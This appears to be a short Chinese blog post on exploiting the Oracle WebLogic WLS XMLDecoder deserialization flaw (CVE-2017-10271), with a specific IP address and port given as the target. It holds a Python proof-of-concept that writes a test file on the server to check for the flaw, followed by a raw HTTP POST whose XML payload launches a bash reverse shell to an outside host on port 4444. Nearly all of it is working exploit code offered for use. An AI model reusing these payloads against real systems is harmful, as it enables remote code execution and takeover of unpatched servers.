初步判断:访问http://188.40.189.135:46526/wls-wsat/CoordinatorPortType11存在下图则说明可能存在漏洞

验证漏洞是否存在

#!/usr/bin/env python
# coding:utf-8
 
import requests
from sys import argv
 
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Upgrade-Insecure-Requests': '1',
    'Content-Type': 'text/xml'
    }
def Webogic_XMLDecoder_poc(url):
    #url="http://192.168.8.148:7001"
    posturl=url+'/wls-wsat/CoordinatorPortType'
    data = '''
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                        <string>xmldecoder_vul_test</string></void><void method="close"/>
                    </object>
                </java>
            </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
    </soapenv:Envelope>
    '''
     
    print url
    try:
        r=requests.post(posturl,data=data,headers=headers,timeout=5)
        geturl=url+"/wls-wsat/test.txt"
        #print geturl
        check_result = requests.get(geturl,headers=headers,timeout=5)
        if 'xmldecoder_vul_test' in check_result.text:
            print u"存在WebLogic WLS远程执行漏洞(CVE-2017-10271)"
    except:
        pass
 
if __name__ == '__main__':
    if len(argv) == 1:
        print "Please input python Webogic_XMLDecoder_poc.py http://xxxx:7001"
        exit(0)
    else:
        url = argv[1]
    Webogic_XMLDecoder_poc(url)

构造post包反弹shell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 188.40.189.135:46526
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/1.1.1.1/4444 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

大概就这些……

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...